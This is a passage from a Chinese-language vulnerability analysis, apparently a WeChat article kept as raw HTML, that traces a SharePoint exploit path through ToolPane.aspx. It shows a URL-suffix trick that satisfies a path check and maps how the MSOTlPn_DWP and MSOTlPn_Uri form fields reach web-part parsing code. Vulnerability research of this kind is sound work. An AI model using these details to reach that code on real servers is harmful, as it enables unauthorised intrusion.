来自于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CheckForCustomToolpane</span></code><span leaf=""> 函数，只需要保证请求路径以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/ToolPane.aspx</span></code><span leaf=""> 结尾即可：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008597" class="rich_pages wxw-img" data-ratio="0.28717948717948716" data-type="png" data-w="975" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=4d200444&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaV1UVAznVUVqIMSS7tbIYxha3u5ntBIsOnaofUCMMJpSCEsPYdsKvzdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008595" class="rich_pages wxw-img" data-ratio="0.14836795252225518" data-type="png" data-w="1011" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d87d91d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVn3k6ibicVuqxJnrxhibq6hdBVafIfUr4Zl028S0IbtCKliaDVibVYGCjgUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">请求换成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolPane.aspx</span></code><span leaf=""> 可满足条件，此外在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 末尾增加一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/ToolPane.aspx</span></code><span leaf=""> 也可以满足，比如：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/_layouts/15/AddGallery.aspx?/ToolPane.aspx</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续往下走，将进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetPartPreviewAndPropertiesFromMarkup</span></code><span leaf="">函数，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPartPagesWebService</span></code><span leaf="">服务（</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_vti_bin/WebPartPages.asmx</span></code><span leaf="">）在历史上爆出的多个漏洞也会触发该函数，比如</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2020–16951</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2021-31181</span></code><span leaf="">等等。注意函数输入参数</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">webPartMarkup</span></code><span leaf="">来自于表单参数</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSOTlPn_DWP</span></code><span leaf="">，函数内将根据该值来创建</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf=""> 组件：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">MarkupProperties partPreviewAndPropertiesFromMarkup = ToolPane.GetPartPreviewAndPropertiesFromMarkup(this.frontPageUri, SPRequestParameterUtility.GetValue&lt;string&gt;(this.Page.Request, &#34;MSOTlPn_DWP&#34;, SPRequestParameterSource.Form), false, this.SPWebPartManager, this.SPWebPartManager.Web, MarkupOption.None, false, false, ref this.frontPageWebPart, ref this.frontPageMarkupStorageKey, ref this.frontPageZoneId, ref this.frontPageWebPartImporter, ref this.frontPageRegisterDirectiveList, ref this.frontPageServerDocumentDesigner, false);</span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008599" class="rich_pages wxw-img" data-ratio="0.4882583170254403" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=79f12479&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVggYA6wicesYupg5ibhn5AH1scLelib3qgI8s0HOW4Jup5XvckxPc76HBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后续利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CreateAndInitializeDocumentDesigner</span></code><span leaf=""> 函数来创建 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">documentDesigner</span></code><span leaf=""> 对象，需要注意的是该函数的第一个输入参数为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pageUri.AbsolutePath</span></code><span leaf=""> ，默认请求下 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pageUri</span></code><span leaf=""> 为空会导致出现异常：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008600" class="rich_pages wxw-img" data-ratio="0.22722820763956905" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f30de2a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVhV8r8LiazVlLw3NZPFhGlNcLzcl19epQKDQVib2EfSmwqE61NJPiatguA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">往上看发现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pageUri</span></code><span leaf=""> 来自于表单参数 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">MSOTlPn_Uri</span></code><span leaf=""> ，并且在后续处理中还会利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetProjectItemFromUrl</span></code><span leaf=""> 来获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">IServerWebProjectItem</span></code><span leaf=""> 对象，此处对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">url</span></code><span leaf=""> 格式有一定要求（比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_controltemplates/15/AclEditor.ascx</span></code><span leaf=""> ）：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">string value = SPRequestParameterUtility.GetValue&lt;string&gt;(this.Page.Request, &#34;MSOTlPn_Uri&#34;, SPRequestParameterSource.Form);</span><span leaf=""><br/></span><span leaf="">if (value != null &amp;&amp; value.Length &gt; 0)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    this.frontPageUri = new Uri(value);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span 